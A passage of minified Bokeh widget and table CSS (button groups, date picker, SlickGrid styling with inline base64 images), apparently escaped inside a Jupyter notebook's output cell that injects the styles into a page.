.bk-bs-btn-group-vertical>.bk-bs-btn-group:first-child:not(:last-child)>.bk-bs-dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group:last-child:not(:first-child)>.bk-bs-btn:first-child{border-top-right-radius:0;border-top-left-radius:0}.bk-root .bk-bs-btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.bk-root .bk-bs-btn-group-justified>.bk-bs-btn,.bk-root .bk-bs-btn-group-justified>.bk-bs-btn-group{float:none;display:table-cell;width:1%}.bk-root .bk-bs-btn-group-justified>.bk-bs-btn-group .bk-bs-btn{width:100%}.bk-root .bk-bs-btn-group>.bk-bs-btn>input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-btn-group>.bk-bs-btn>input[type=\\\\\\\"checkbox\\\\\\\"]{display:none}.bk-root .bk-bs-input-group{position:relative;display:table;border-collapse:separate}.bk-root .bk-bs-input-group[class*=\\\\\\\"col-\\\\\\\"]{float:none;padding-left:0;padding-right:0}.bk-root .bk-bs-input-group .bk-bs-form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.bk-root .bk-bs-input-group-lg>.bk-bs-form-control,.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-addon,.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-btn>.bk-bs-btn{height:42px;padding:10px 16px;font-size:15px;line-height:1.33;border-radius:6px}select.bk-root .bk-bs-input-group-lg>.bk-bs-form-control,select.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-addon,select.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-btn>.bk-bs-btn{height:42px;line-height:42px}textarea.bk-root .bk-bs-input-group-lg>.bk-bs-form-control,textarea.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-addon,textarea.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-btn>.bk-bs-btn,select[multiple].bk-root .bk-bs-input-group-lg>.bk-bs-form-control,select[multiple].bk-root .bk-bs-input-group-lg>.bk-bs-input-group-addon,select[multiple].bk-root .bk-bs-input-group-lg>.bk-bs-input-group-btn>.bk-bs-btn{height:auto}.bk-root .bk-bs-input-group-sm>.bk-bs-form-control,.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-addon,.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-btn>.bk-bs-btn{height:28px;padding:5px 10px;font-size:11px;line-height:1.5;border-radius:3px}select.bk-root .bk-bs-input-group-sm>.bk-bs-form-control,select.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-addon,select.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-btn>.bk-bs-btn{height:28px;line-height:28px}textarea.bk-root .bk-bs-input-group-sm>.bk-bs-form-control,textarea.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-addon,textarea.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-btn>.bk-bs-btn,select[multiple].bk-root .bk-bs-input-group-sm>.bk-bs-form-control,select[multiple].bk-root .bk-bs-input-group-sm>.bk-bs-input-group-addon,select[multiple].bk-root .bk-bs-input-group-sm>.bk-bs-input-group-btn>.bk-bs-btn{height:auto}.bk-root .bk-bs-input-group-addon,.bk-root .bk-bs-input-group-btn,.bk-root .bk-bs-input-group .bk-bs-form-control{display:table-cell}.bk-root .bk-bs-input-group-addon:not(:first-child):not(:last-child),.bk-root .bk-bs-input-group-btn:not(:first-child):not(:last-child),.bk-root .bk-bs-input-group .bk-bs-form-control:not(:first-child):not(:last-child){border-radius:0}.bk-root .bk-bs-input-group-addon,.bk-root .bk-bs-input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.bk-root .bk-bs-input-group-addon{padding:6px 12px;font-size:12px;font-weight:normal;line-height:1;color:#555;text-align:center;background-color:#eee;border:1px solid #ccc;border-radius:4px}.bk-root .bk-bs-input-group-addon.bk-bs-input-sm{padding:5px 10px;font-size:11px;border-radius:3px}.bk-root .bk-bs-input-group-addon.bk-bs-input-lg{padding:10px 16px;font-size:15px;border-radius:6px}.bk-root .bk-bs-input-group-addon input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-input-group-addon input[type=\\\\\\\"checkbox\\\\\\\"]{margin-top:0}.bk-root .bk-bs-input-group .bk-bs-form-control:first-child,.bk-root .bk-bs-input-group-addon:first-child,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn-group>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-dropdown-toggle,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn:not(:last-child):not(.bk-bs-dropdown-toggle),.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn-group:not(:last-child)>.bk-bs-btn{border-bottom-right-radius:0;border-top-right-radius:0}.bk-root .bk-bs-input-group-addon:first-child{border-right:0}.bk-root .bk-bs-input-group .bk-bs-form-control:last-child,.bk-root .bk-bs-input-group-addon:last-child,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn-group>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-dropdown-toggle,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn:not(:first-child),.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn-group:not(:first-child)>.bk-bs-btn{border-bottom-left-radius:0;border-top-left-radius:0}.bk-root .bk-bs-input-group-addon:last-child{border-left:0}.bk-root .bk-bs-input-group-btn{position:relative;font-size:0;white-space:nowrap}.bk-root .bk-bs-input-group-btn>.bk-bs-btn{position:relative}.bk-root .bk-bs-input-group-btn>.bk-bs-btn+.bk-bs-btn{margin-left:-1px}.bk-root .bk-bs-input-group-btn>.bk-bs-btn:hover,.bk-root .bk-bs-input-group-btn>.bk-bs-btn:focus,.bk-root .bk-bs-input-group-btn>.bk-bs-btn:active{z-index:2}.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn-group{margin-right:-1px}.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn-group{margin-left:-1px}.bk-root .bk-bs-nav{margin-bottom:0;padding-left:0;list-style:none}.bk-root .bk-bs-nav>li{position:relative;display:block}.bk-root .bk-bs-nav>li>span{position:relative;display:block;padding:10px 15px}.bk-root .bk-bs-nav>li>span:hover,.bk-root .bk-bs-nav>li>span:focus{text-decoration:none;background-color:#eee}.bk-root .bk-bs-nav>li.bk-bs-disabled>span{color:#999}.bk-root .bk-bs-nav>li.bk-bs-disabled>span:hover,.bk-root .bk-bs-nav>li.bk-bs-disabled>span:focus{color:#999;text-decoration:none;background-color:transparent;cursor:not-allowed}.bk-root .bk-bs-nav-tabs{border-bottom:1px solid #ddd}.bk-root .bk-bs-nav-tabs>li{float:left;margin-bottom:-1px}.bk-root .bk-bs-nav-tabs>li>span{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:4px 4px 0 0}.bk-root .bk-bs-nav-tabs>li>span:hover{border-color:#eee #eee #ddd;cursor:pointer}.bk-root .bk-bs-nav-tabs>li.bk-bs-active>span,.bk-root .bk-bs-nav-tabs>li.bk-bs-active>span:hover,.bk-root .bk-bs-nav-tabs>li.bk-bs-active>span:focus{color:#555;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent;cursor:default}.bk-root .bk-bs-tab-content>.bk-bs-tab-pane{display:none}.bk-root .bk-bs-tab-content>.bk-bs-active{display:block}.bk-root .pika-single{z-index:9999;display:block;position:relative;color:#333;background:#fff;border:1px solid #ccc;border-bottom-color:#bbb;font-family:\\\\\\\"Helvetica Neue\\\\\\\",Helvetica,Arial,sans-serif}.bk-root .pika-single:before,.bk-root .pika-single:after{content:\\\\\\\" \\\\\\\";display:table}.bk-root .pika-single:after{clear:both}.bk-root .pika-single{*zoom:1}.bk-root .pika-single.is-hidden{display:none}.bk-root .pika-single.is-bound{position:absolute;box-shadow:0 5px 15px -5px rgba(0,0,0,0.5)}.bk-root .pika-lendar{float:left;width:240px;margin:8px}.bk-root .pika-title{position:relative;text-align:center}.bk-root .pika-label{display:inline-block;*display:inline;position:relative;z-index:9999;overflow:hidden;margin:0;padding:5px 3px;font-size:14px;line-height:20px;font-weight:bold;background-color:#fff}.bk-root .pika-title select{cursor:pointer;position:absolute;z-index:9998;margin:0;left:0;top:5px;filter:alpha(opacity=0);opacity:0}.bk-root .pika-prev,.bk-root .pika-next{display:block;cursor:pointer;position:relative;outline:0;border:0;padding:0;width:20px;height:30px;text-indent:20px;white-space:nowrap;overflow:hidden;background-color:transparent;background-position:center center;background-repeat:no-repeat;background-size:75% 75%;opacity:.5;*position:absolute;*top:0}.bk-root .pika-prev:hover,.bk-root .pika-next:hover{opacity:1}.bk-root .pika-prev,.bk-root .is-rtl .pika-next{float:left;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAAUklEQVR42u3VMQoAIBADQf8Pgj+OD9hG2CtONJB2ymQkKe0HbwAP0xucDiQWARITIDEBEnMgMQ8S8+AqBIl6kKgHiXqQqAeJepBo/z38J/U0uAHlaBkBl9I4GwAAAABJRU5ErkJggg==');*left:0}.bk-root .pika-next,.bk-root .is-rtl .pika-prev{float:right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAAU0lEQVR42u3VOwoAMAgE0dwfAnNjU26bYkBCFGwfiL9VVWoO+BJ4Gf3gtsEKKoFBNTCoCAYVwaAiGNQGMUHMkjGbgjk2mIONuXo0nC8XnCf1JXgArVIZAQh5TKYAAAAASUVORK5CYII=');*right:0}.bk-root .pika-prev.is-disabled,.bk-root .pika-next.is-disabled{cursor:default;opacity:.2}.bk-root .pika-select{display:inline-block;*display:inline}.bk-root .pika-table{width:100%;border-collapse:collapse;border-spacing:0;border:0}.bk-root .pika-table th,.bk-root .pika-table td{width:14.285714285714286%;padding:0}.bk-root .pika-table th{color:#999;font-size:12px;line-height:25px;font-weight:bold;text-align:center}.bk-root .pika-button{cursor:pointer;display:block;box-sizing:border-box;-moz-box-sizing:border-box;outline:0;border:0;margin:0;width:100%;padding:5px;color:#666;font-size:12px;line-height:15px;text-align:right;background:#f5f5f5}.bk-root .pika-week{font-size:11px;color:#999}.bk-root .is-today .pika-button{color:#3af;font-weight:bold}.bk-root .is-selected .pika-button,.bk-root .has-event .pika-button{color:#fff;font-weight:bold;background:#3af;box-shadow:inset 0 1px 3px #178fe5;border-radius:3px}.bk-root .has-event .pika-button{background:#005da9;box-shadow:inset 0 1px 3px #0076c9}.bk-root .is-disabled .pika-button,.bk-root .is-inrange .pika-button{background:#d5e9f7}.bk-root .is-startrange .pika-button{color:#fff;background:#6cb31d;box-shadow:none;border-radius:3px}.bk-root .is-endrange .pika-button{color:#fff;background:#3af;box-shadow:none;border-radius:3px}.bk-root .is-disabled .pika-button{pointer-events:none;cursor:default;color:#999;opacity:.3}.bk-root .is-outside-current-month .pika-button{color:#999;opacity:.3}.bk-root .is-selection-disabled{pointer-events:none;cursor:default}.bk-root .pika-button:hover,.bk-root .pika-row.pick-whole-week:hover .pika-button{color:#fff;background:#ff8000;box-shadow:none;border-radius:3px}.bk-root .pika-table abbr{border-bottom:0;cursor:help}.bk-root .bk-widget-box{overflow:visible;padding:5px 10px}.bk-root .bk-widget label{margin-bottom:2px}.bk-root .bk-widget{margin-top:10px}.bk-root .bk-widget h1:first-child,.bk-root .bk-widget h2:first-child,.bk-root .bk-widget h3:first-child,.bk-root .bk-widget h4:first-child,.bk-root .bk-widget h5:first-child,.bk-root .bk-widget h6:first-child,.bk-root .bk-widget p:first-child{margin-top:0}.bk-root .bk-widget-form-input{display:block;height:31px;padding:0 12px;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px}.bk-root .bk-widget-form-input:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,0.6)}.bk-root .bk-widget-form-input::-moz-placeholder{color:#999;opacity:1}.bk-root .bk-widget-form-input:-ms-input-placeholder{color:#999}.bk-root .bk-widget-form-input::-webkit-input-placeholder{color:#999}.bk-root .bk-widget-form-input[disabled],.bk-root .bk-widget-form-input[readonly],fieldset[disabled] .bk-root .bk-widget-form-input{cursor:not-allowed;background-color:#eee;opacity:1}textarea.bk-root .bk-widget-form-input{height:auto}.bk-root .bk-widget button{min-width:100%}.bk-root .bk-widget input[type=\\\\\\\"text\\\\\\\"]{min-width:90%}.bk-root .bk-widget select{min-width:97%}.bk-root .bk-bs-dropdown-toggle .bk-bs-caret{margin-left:5px}.bk-root .bk-bs-dropdown-menu{width:100%}.bk-root .bk-bs-nav-tabs{overflow:hidden}.bk-root .bk-slider label{margin-right:5px}.bk-root .bk-slider .bk-slider-value{display:inline-block;font-weight:600}.bk-root .bk-slider input,.bk-root .bk-slider .bk-slider-value{margin-bottom:5px}\\\\n/* END bokeh-widgets.min.css */\\\");\\n\",\n       \"      console.log(\\\"Bokeh: injecting raw CSS\\\");\\n\",\n       \"      Bokeh.embed.inject_raw_css(\\\"/* BEGIN bokeh-tables.min.css */\\\\n.bk-root .slick-header.ui-state-default,.bk-root .slick-headerrow.ui-state-default,.bk-root .slick-footerrow.ui-state-default{width:100%;overflow:hidden;border-left:0 !important}.bk-root .slick-header-columns,.bk-root .slick-headerrow-columns,.bk-root .slick-footerrow-columns{position:relative;white-space:nowrap;cursor:default;overflow:hidden}.bk-root .slick-header-column.ui-state-default{position:relative;display:inline-block;overflow:hidden;-o-text-overflow:ellipsis;text-overflow:ellipsis;height:16px;line-height:16px;margin:0;padding:4px;border-right:1px solid silver;border-left:0 !important;border-top:0 !important;border-bottom:0 !important;float:left}.bk-root .slick-headerrow-column.ui-state-default,.bk-root .slick-footerrow-column.ui-state-default{padding:4px}.bk-root .slick-header-column-sorted{font-style:italic}.bk-root .slick-sort-indicator{display:inline-block;width:8px;height:5px;margin-left:4px;margin-top:6px;float:left}.bk-root .slick-sort-indicator-numbered{display:inline-block;width:8px;height:5px;margin-left:4px;margin-top:0;padding-left:1px;line-height:20px;float:left;font-family:Arial;font-style:normal;font-weight:bold;color:#6190cd}.bk-root .slick-sort-indicator-desc{background:url(images/sort-desc.gif)}.bk-root .slick-sort-indicator-asc{background:url(images/sort-asc.gif)}.bk-root .slick-resizable-handle{position:absolute;font-size:.1px;display:block;cursor:col-resize;width:4px;right:0;top:0;height:100%}.bk-root .slick-sortable-placeholder{background:silver}.bk-root .grid-canvas{position:relative;outline:0}.bk-root .slick-row.ui-widget-content,.bk-root .slick-row.ui-state-active{position:absolute;border:0;width:100%}.bk-root .slick-cell,.bk-root .slick-headerrow-column,.bk-root .slick-footerrow-column{position:absolute;border:1px solid transparent;border-right:1px dotted silver;border-bottom-color:silver;overflow:hidden;-o-text-overflow:ellipsis;text-overflow:ellipsis;vertical-align:middle;z-index:1;padding:1px 2px 2px 1px;margin:0;white-space:nowrap;cursor:default}.bk-root .slick-cell,.bk-root .slick-headerrow-column{border-bottom-color:silver}.bk-root .slick-footerrow-column{border-top-color:silver}.bk-root .slick-group-toggle{display:inline-block}.bk-root .slick-cell.highlighted{background:lightskyblue;background:rgba(0,0,255,0.2);-webkit-transition:all .5s;-moz-transition:all .5s;-o-transition:all .5s;transition:all .5s}.bk-root .slick-cell.flashing{border:1px solid red !important}.bk-root .slick-cell.editable{z-index:11;overflow:visible;background:white;border-color:black;border-style:solid}.bk-root .slick-cell:focus{outline:0}.bk-root .slick-reorder-proxy{display:inline-block;background:blue;opacity:.15;cursor:move}.bk-root .slick-reorder-guide{display:inline-block;height:2px;background:blue;opacity:.7}.bk-root .slick-selection{z-index:10;position:absolute;border:2px dashed black}.bk-root .slick-header-columns{background:url('images/header-columns-bg.gif') repeat-x center bottom;border-bottom:1px solid silver}.bk-root .slick-header-column{background:url('images/header-columns-bg.gif') repeat-x center bottom;border-right:1px solid silver}.bk-root .slick-header-column:hover,.bk-root .slick-header-column-active{background:white url('images/header-columns-over-bg.gif') repeat-x center bottom}.bk-root .slick-headerrow{background:#fafafa}.bk-root .slick-headerrow-column{background:#fafafa;border-bottom:0;height:100%}.bk-root .slick-row.ui-state-active{background:#f5f7d7}.bk-root .slick-row{position:absolute;background:white;border:0;line-height:20px}.bk-root .slick-row.selected{z-index:10;background:#dfe8f6}.bk-root .slick-cell{padding-left:4px;padding-right:4px}.bk-root .slick-group{border-bottom:2px solid silver}.bk-root .slick-group-toggle{width:9px;height:9px;margin-right:5px}.bk-root .slick-group-toggle.expanded{background:url(images/collapse.gif) no-repeat center center}.bk-root .slick-group-toggle.collapsed{background:url(images/expand.gif) no-repeat center center}.bk-root .slick-group-totals{color:gray;background:white}.bk-root .slick-group-select-checkbox{width:13px;height:13px;margin:3px 10px 0 0;display:inline-block}.bk-root .slick-group-select-checkbox.checked{background:url(images/GrpCheckboxY.png) no-repeat center center}.bk-root .slick-group-select-checkbox.unchecked{background:url(images/GrpCheckboxN.png) no-repeat center center}.bk-root .slick-cell.selected{background-color:beige}.bk-root .slick-cell.active{border-color:gray;border-style:solid}.bk-root .slick-sortable-placeholder{background:silver !important}.bk-root .slick-row.odd{background:#fafafa}.bk-root .slick-row.ui-state-active{background:#f5f7d7}.bk-root .slick-row.loading{opacity:.5}.bk-root .slick-cell.invalid{border-color:red;-moz-animation-duration:.2s;-webkit-animation-duration:.2s;-moz-animation-name:slickgrid-invalid-hilite;-webkit-animation-name:slickgrid-invalid-hilite}@-moz-keyframes slickgrid-invalid-hilite{from{box-shadow:0 0 6px red}to{box-shadow:none}}@-webkit-keyframes slickgrid-invalid-hilite{from{box-shadow:0 0 6px red}to{box-shadow:none}}.bk-root .slick-column-name,.bk-root .slick-sort-indicator{display:inline-block;float:left;margin-bottom:100px}.bk-root .slick-header-button{display:inline-block;float:right;vertical-align:top;margin:1px;margin-bottom:100px;height:15px;width:15px;background-repeat:no-repeat;background-position:center center;cursor:pointer}.bk-root .slick-header-button-hidden{width:0;-webkit-transition:.2s width;-ms-transition:.2s width;transition:.2s width}.bk-root .slick-header-column:hover>.slick-header-button{width:15px}.bk-root .slick-header-menubutton{position:absolute;right:0;top:0;bottom:0;width:14px;background-repeat:no-repeat;background-position:left center;background-image:url(../images/down.gif);cursor:pointer;display:none;border-left:thin ridge silver}.bk-root .slick-header-column:hover>.slick-header-menubutton,.bk-root .slick-header-column-active .slick-header-menubutton{display:inline-block}.bk-root .slick-header-menu{position:absolute;display:inline-block;margin:0;padding:2px;cursor:default}.bk-root .slick-header-menuitem{list-style:none;margin:0;padding:0;cursor:pointer}.bk-root .slick-header-menuicon{display:inline-block;width:16px;height:16px;vertical-align:middle;margin-right:4px;background-repeat:no-repeat;background-position:center center}.bk-root .slick-header-menucontent{display:inline-block;vertical-align:middle}.bk-root .slick-header-menuitem-disabled{color:silver}.bk-root .slick-columnpicker{border:1px solid #718bb7;background:#f0f0f0;padding:6px;-moz-box-shadow:2px 2px 2px silver;-webkit-box-shadow:2px 2px 2px silver;box-shadow:2px 2px 2px silver;min-width:100px;cursor:default}.bk-root .slick-columnpicker li{list-style:none;margin:0;padding:0;background:0}.bk-root .slick-columnpicker input{margin:4px}.bk-root .slick-columnpicker li a{display:block;padding:4px;font-weight:bold}.bk-root .slick-columnpicker li a:hover{background:white}.bk-root .slick-pager{width:100%;height:26px;border:1px solid gray;border-top:0;background:url('../images/header-columns-bg.gif') repeat-x center bottom;vertical-align:middle}.bk-root .slick-pager .slick-pager-status{display:inline-block;padding:6px}.bk-root .slick-pager .ui-icon-container{display:inline-block;margin:2px;border-color:gray}.bk-root .slick-pager .slick-pager-nav{display:inline-block;float:left;padding:2px}.bk-root .slick-pager .slick-pager-settings{display:block;float:right;padding:2px}.bk-root .slick-pager .slick-pager-settings *{vertical-align:middle}.bk-root .slick-pager .slick-pager-settings a{padding:2px;text-decoration:underline;cursor:pointer}.bk-root .slick-header-columns{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhAgAYAIcAANDQ0Ovs7uzt7+3u8O7v8e/w8vDx8/Hy9Pn5+QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAP8ALAAAAAACABgAAAghABEIHEiwYMEDCA8YWMiwgMMCBAgMmDhAgIAAGAMAABAQADs=\\\\\\\")}.bk-root .slick-header-column{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhAgAYAIcAANDQ0Ovs7uzt7+3u8O7v8e/w8vDx8/Hy9Pn5+QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAP8ALAAAAAACABgAAAghABEIHEiwYMEDCA8YWMiwgMMCBAgMmDhAgIAAGAMAABAQADs=\\\\\\\")}.bk-root .slick-header-column:hover,.bk-root .slick-header-column-active{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhAgAWAIcAAKrM9tno++vz/QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAP8ALAAAAAACABYAAAgUAAUIHEiwoIAACBMqXMhwIQAAAQEAOw==\\\\\\\")}.bk-root .slick-group-toggle.expanded{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhCQAJAPcAAAFGeoCAgNXz/+v5/+v6/+z5/+36//L7//X8//j9/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAACQAJAAAIMwADCBxIUIDBgwIEChgwwECBAgQUFjBAkaJCABgxGlB4AGHCAAIQiBypEEECkScJqgwQEAA7\\\\\\\")}.bk-root 